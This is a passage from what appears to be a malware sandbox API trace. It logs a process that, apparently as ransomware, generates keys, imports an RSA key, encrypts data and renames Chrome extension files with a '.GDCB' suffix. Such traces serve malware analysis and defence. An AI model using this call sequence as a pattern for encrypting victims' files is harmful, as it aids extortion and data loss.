Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\manifest.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\manifest.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\manifest.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\manifest.json.gdcb")) returned 1 [0238.235] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4760) returned 1 [0238.238] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0238.240] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0238.241] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0238.241] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0238.241] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4760) returned 1 [0238.243] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0238.245] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0238.245] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0238.245] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0238.245] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4760) returned 1 [0238.248] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x66b27f8) returned 1 [0238.248] CryptGetKeyParam (in: hKey=0x66b27f8, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0238.248] CryptEncrypt (in: hKey=0x66b27f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x98c0000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x98c0000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0238.248] GetLastError () returned 0x0 [0238.248] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0238.248] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4980) returned 1 [0238.250] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x66b21b8) returned 1 [0238.250] CryptGetKeyParam (in: hKey=0x66b21b8, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0238.250] CryptEncrypt (in: hKey=0x66b21b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x98d0000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x98d0000*, pdwDataLen=0x285d120*=0x100) returned 1 [0238.251] GetLastError () returned 0x0 [0238.251] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0238.251] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\page_embed_script.js" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\page_embed_script.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x424 [0238.252] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x98e0000 [0238.257] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x98f0000 [0238.260] ReadFile (in: hFile=0x424, lpBuffer=0x98f0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0x98f0000*, lpNumberOfBytesRead=0x285d160*=0xe0, lpOverlapped=0x0) returned 1 [0238.269] VirtualAlloc (lpAddress=0x0, dwSize=0xe0, flAllocationType=0x3000, flProtect=0x4) returned 0x9a00000 [0238.313] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\page_embed_script.js" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\page_embed_script.js"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\page_embed_script.js.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\page_embed_script.js.gdcb")) returned 0 [0238.347] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4e48) returned 1 [0238.350] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0238.353] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0238.353] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0238.353] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0238.353] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0238.355] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0238.357] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0238.357] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0238.357] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0238.358] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0238.360] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66b20f8) returned 1 [0238.360] CryptGetKeyParam (in: hKey=0x66b20f8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0238.360] CryptEncrypt (in: hKey=0x66b20f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x98c0000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0x98c0000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0238.361] GetLastError () returned 0x0 [0238.361] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0238.361] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0238.363] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66b23b8) returned 1 [0238.363] CryptGetKeyParam (in: hKey=0x66b23b8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0238.363] CryptEncrypt (in: hKey=0x66b23b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x98d0000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0x98d0000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0238.363] GetLastError () returned 0x0 [0238.363] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0238.363] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\af\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\af\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0238.364] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0238.367] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0238.369] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0238.369] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0238.369] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0238.369] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0238.371] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0238.373] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0238.373] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0238.373] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0238.373] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4980) returned 1 [0238.375] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66b2538) returned 1 [0238.376] CryptGetKeyParam (in: hKey=0x66b2538, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0238.376] CryptEncrypt (in: hKey=0x66b2538, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x98e0000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0x98e0000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0238.376] GetLastError () returned 0x0 [0238.376] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0238.376] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0238.378] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66b26b8) returned 1 [0238.378] CryptGetKeyParam (in: hKey=0x66b26b8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0238.378] CryptEncrypt (in: hKey=0x66b26b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x98f0000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0x98f0000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0238.378] GetLastError () returned 0x0 [0238.378] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0238.378] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\am\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\am\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0238.405] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4e48) returned 1 [0238.409] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0238.411] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0238.412] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0238.412] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0238.412] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0238.416] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0238.419] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0238.419] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0238.419] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0238.419] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4980) returned 1 [0238.423] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66b2638) returned 1 [0238.423] CryptGetKeyParam (in: hKey=0x66b2638, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0238.423] CryptEncrypt (in: hKey=0x66b2638, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9900000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0x9900000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0238.423] GetLastError () returned 0x0 [0238.423] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0238.423] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0238.425] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66b21f8) returned 1 [0238.425] CryptGetKeyParam (in: hKey=0x66b21f8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0238.425] CryptEncrypt (in: hKey=0x66b21f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9910000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0x9910000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0238.425] GetLastError () returned 0x0 [0238.425] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0238.425] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ar\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ar\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0238.427] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0238.430] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0238.432] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0238.432] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0238.432] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0238.432] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4980) returned 1 [0238.434] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0238.436] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0238.436] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0238.436] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0238.436] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0238.439] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66b2578) returned 1 [0238.439] CryptGetKeyParam (in: hKey=0x66b2578, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0238.439] CryptEncrypt (in: hKey=0x66b2578, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9920000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0x9920000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0238.439] GetLastError () returned 0x0 [0238.439] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0238.439] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0238.441] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66b23f8) returned 1 [0238.441] CryptGetKeyParam (in: hKey=0x66b23f8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0238.441] CryptEncrypt (in: hKey=0x66b23f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9930000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0x9930000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0238.442] GetLastError () returned 0x0 [0238.442] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0238.442] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\az\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\az\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0238.443] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4e48) returned 1 [0238.446] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0238.448] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0238.448] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0238.448] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0238.448] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4e48) returned 1 [0238.451] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0238.452] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0238.452] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0238.452] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0238.453] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4980) returned 1 [0238.456] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66b2278) returned 1 [0238.456] CryptGetKeyParam (in: hKey=0x66b2278, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0238.456] CryptEncrypt (in: hKey=0x66b2278, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9940000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0x9940000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0238.456] GetLastError () returned 0x0 [0238.456] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0238.456] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0238.459] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66b2238) returned 1 [0238.459] CryptGetKeyParam (in: hKey=0x66b2238, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0238.459] CryptEncrypt (in: hKey=0x66b2238, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9950000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0x9950000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0238.459] GetLastError () returned 0x0 [0238.459] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0238.459] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\bg\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\bg\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0238.460] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0238.463] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0238.464] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0238.464] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0238.464] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0238.465] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0238.467] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0238.469] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0238.469] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0238.469] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0238.470] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0238.472] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66b25b8) returned 1 [0238.472] CryptGetKeyParam (in: hKey=0x66b25b8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0238.472] CryptEncrypt (in: hKey=0x66b25b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9960000*, 